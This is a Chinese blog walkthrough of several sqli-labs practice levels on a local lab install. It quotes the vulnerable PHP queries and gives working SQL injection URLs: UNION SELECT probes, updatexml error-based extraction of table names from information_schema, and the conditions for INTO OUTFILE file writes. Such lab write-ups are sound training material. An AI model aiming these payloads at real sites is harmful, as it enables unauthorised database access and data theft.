当前位置:   article > 正文

mysql注入-sqli-labs-master复现

mysql注入-sqli-labs-master复现

注意

对于注入闭合的方式,我们可以通过bp intruder模块去字典跑

Less-1

 进入第一关,可以看到页面提示,我们按照页面提示进行操作

查看源码,截取关键部分源码,在源码中可以看到,一条预编译的sql语句,而这条语句配合id传参,就是我们的注入点了,并且这是典型的字符型注入。

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2. $result=mysql_query($sql);
  3. $row = mysql_fetch_array($result);

 http://127.0.0.1/sqli-labs-master/Less-1/?id=1‘ order by 3--+   查看有多少列

当把order by 3改成order by 4 时,结果如下图所示,从这人我们可以看到,表中有多少列

查看数据库,在注入回显时,但应该注意以下的点,数据回显是有限制的他可能不会回显完全,如下显示,用limit显示我们需要的数据,后面还可以依靠group_concat和concat两个函数。

http://127.0.0.1/sqli-labs-master/less-1/?id=1‘ union select 1,database(),3 limit 1,1--+icon-default.png?t=N7T8http://127.0.0.1/sqli-labs-master/less-1/?id=1%27%20union%20select%201,database(),3%20limit%201,1--+

当然也可以这样,http://127.0.0.1/sqli-labs-master/?id=-1%27union%20select%201,2,3–+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27%20and%201=2%20union%20select%201,database(),3--+

后面用select查询语句,查询就行了

Less-2

后面的第二关,为数字型注入,与第一关没有大的区别,但是看源码变量id没有用引号,引起来,所以注入 时不用闭合

  1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
  2. $result=mysql_query($sql);
  3. // mysql_query 是 PHP 中用于执行 MySQL 数据库查询的函数。它接受一个 SQL 查询字符串作为参数,并返回查询结果。如果查询成功,它将返回一个资源标识符,否则返回 false。
  4. $row = mysql_fetch_array($result);
  5. // mysql_fetch_array 是 PHP 中用于从查询结果集中获取一行作为关联数组、数字数组或两者兼有的函数。
  6. // 它接受一个资源标识符作为参数,并返回一个包含查询结果的数组。如果没有更多的行可用,则返回 false

Less-5

第五关用报错注入来解比较方便

看一下源码部分

  1. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  2. $result=mysql_query($sql);
  3. $row = mysql_fetch_array($result);
  4. if($row)
  5. {
  6. echo '<font size="5" color="#FFFF00">';
  7. echo 'You are in...........';
  8. echo "<br>";
  9. echo "</font>";
  10. }
  11. else
  12. {
  13. echo '<font size="3" color="#FFFF00">';
  14. print_r(mysql_error());
  15. echo "</br></font>";
  16. echo '<font color= "#0000ff" font size= 3>';
  17. }
  18. }
  19. else { echo "Please input the ID as parameter with numeric value";}
  20. ?>

http://127.0.0.1/sqli-labs-master/Less-5/?id=1?id=1%27%20and%20updatexml(1,concat(0x7e,(database())),0)--+

1、updatexml
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) 
第三个参数:new_value,String格式,替换查找到的符合条件的数据

当我们第二个参数非法时,它就会报错,从而将一些敏感信息给暴露出来

如:updatexml(1,concat(0x7e,(database())),0)

因为0x7e(~)是非法所以会报错从而将database()一起报出来

注:updatexml显示的字符数有限,所以我们可以借助substr看后面的字符:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)),0)--+

Less-7

我们看第七关,会发现他与其他关有些不同,这关考的是文件的注入

使用outfile三个条件:
1.用户必须具有FILE权限或者说是具有root权限。
2.在数据库配置文件中的 配置项含有:secure_file_priv=''。(注意在数据库中此项默认为secure_file_priv=null)。
3.知道数据库的绝对路径。

注:目标文件不能与现有文件冲突。

以下为mysql的一些函数

  1. $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
  2. $result=mysql_query($sql);
  3. $row = mysql_fetch_array($result);
  4. if($row)
  5. {
  6. // echo '<font color= "#FFFF00">';
  7. // echo 'You are in.... Use outfile......';
  8. // echo "<br>";
  9. // echo "</font>";
  10. echo "<font size='5' color= '#99FF00'>";
  11. echo 'Your Login name:'. $row['username'];
  12. echo "<br>";
  13. echo 'Your Password:' .$row['password'];
  14. echo "</font>";
  15. }
  16. else
  17. {
  18. echo '<font color= "#FFFF00">';
  19. echo 'You have an error in your SQL syntax';
  20. print_r(mysql_error());#这里源码是注释掉的,我打开,是检验后面出现的问题
  21. echo "</font>";
  22. }
  23. }
  24. else { echo "Please input the ID as parameter with numeric value";}
  25. ?>

我的secure-file-priv 是在运行的,注入失败,但我们的语句没问题

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号